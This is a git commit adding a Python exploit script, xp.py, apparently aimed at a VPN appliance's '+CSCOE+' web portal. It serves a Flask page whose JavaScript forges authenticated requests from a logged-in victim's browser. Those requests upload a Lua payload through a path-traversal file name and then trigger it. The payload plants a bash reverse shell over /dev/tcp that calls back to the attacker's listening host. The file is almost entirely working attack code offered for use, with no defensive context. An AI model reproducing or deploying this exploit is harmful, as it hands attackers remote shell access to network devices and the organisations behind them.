Add xp.py

2026-06-17 14:00:02 +00:00
commit 19ee8d6eab
1 changed files with 110 additions and 0 deletions
@@ -0,0 +1,110 @@
+import sys, time, uuid, threading
+import requests
+import urllib.parse
+from flask import Flask, Response
+
+requests.packages.urllib3.disable_warnings()
+
+if len(sys.argv) < 4:
+    print(f"usage: {sys.argv[0]} <target> <localhost> <localport>")
+    sys.exit(1)
+
+datarg = sys.argv[1].rstrip("/")
+localhost = sys.argv[2]
+localport = int(sys.argv[3])
+endpoint = f"{datarg}/+CSCOE+/upload.html?mode=add&include=1"
+triggerpath = f"/../+CSCOE+/+{uuid.uuid4().hex[:8]}.html"
+triggerurl = f"{datarg}/+CSCOE+/+{triggerpath.split('+')[-1]}"
+
+plname = f"foobar_{uuid.uuid4().hex[:6]}"
+
+REVSHELL = f"/bin/bash -i >& /dev/tcp/{localhost}/{localport} 0>&1"
+# init payload
+luapl = f"""<?
+local ifs = require("ifs")
+local payload = "{REVSHELL}"
+local tmpfile = "/+CSCOE+/{plname}"
+local f = io.open(tmpfile, "w")
+-- this check is needed
+if f then
+    f:write(payload .. "\\n")
+    f:close()
+end
+ifs.copy_ramfs2ifs(tmpfile, "../../../tmp/cmd_que", 0)
+OUT("ok")
+?>"""
+
+app = Flask(__name__)
+
+# main page
+@app.route("/")
+def csrfpage():
+    boundary = "----WebKitFormBoundary" + uuid.uuid4().hex[:16]
+
+    body_parts = []
+
+    body_parts.append(f"--{boundary}\r\n")
+    body_parts.append(f'Content-Disposition: form-data; name="url1"\r\n\r\n')
+    body_parts.append(f"{triggerpath}\r\n")
+
+    body_parts.append(f"--{boundary}\r\n")
+    body_parts.append(f'Content-Disposition: form-data; name="uploadedfile1"; filename="{triggerpath}"\r\n')
+    body_parts.append("Content-Type: application/octet-stream\r\n\r\n")
+    body_parts.append(f"{luapl}\r\n")
+
+    body_parts.append(f"--{boundary}--\r\n")
+
+    body_raw = "".join(body_parts)
+
+    html = f"""<html>
+<body>
+<script>
+var boundary = "{boundary}";
+var body = {repr(body_raw)};
+
+var xhr = new XMLHttpRequest();
+xhr.open("POST", "{endpoint}", true);
+xhr.withCredentials = true;
+xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);
+xhr.onreadystatechange = function() {{
+    if (xhr.readyState === 4) {{
+        setTimeout(function() {{
+            var trigger = new XMLHttpRequest();
+            trigger.open("GET", "{triggerurl}", true);
+            // ok 
+            trigger.withCredentials = true;
+            trigger.onreadystatechange = function() {{
+                if (trigger.readyState === 4) {{
+                    document.body.innerHTML = "<h3>done (" + trigger.status + ")</h3>";
+                }}
+            }};
+            trigger.send();
+        }}, 1500);
+    }}
+}};
+xhr.send(body);
+</script>
+</body>
+</html>"""
+    return Response(html, content_type="text/html")
+
+
+def verify_upload():
+    time.sleep(10)
+    print(f"+ trigger url: {triggerurl}")
+    try:
+        r = requests.get(triggerurl, verify=False, timeout=10)
+        # kinda brittle from experience prob just remove the latter
+        if r.status_code == 200 and "ok" in r.text:
+            print("+  trigger fired, shelling...")
+        else:
+            print(f"+ trigger returned {r.status_code}")
+    except Exception as e:
+        print(f"+ verify failed: {e}")
+
+# ok this should do
+if __name__ == "__main__":
+    print("loading exploit")
+    print(f"+ serving csrf page")
+    print(f"run nc on {localport}")
+    app.run(host="0.0.0.0", port=8080)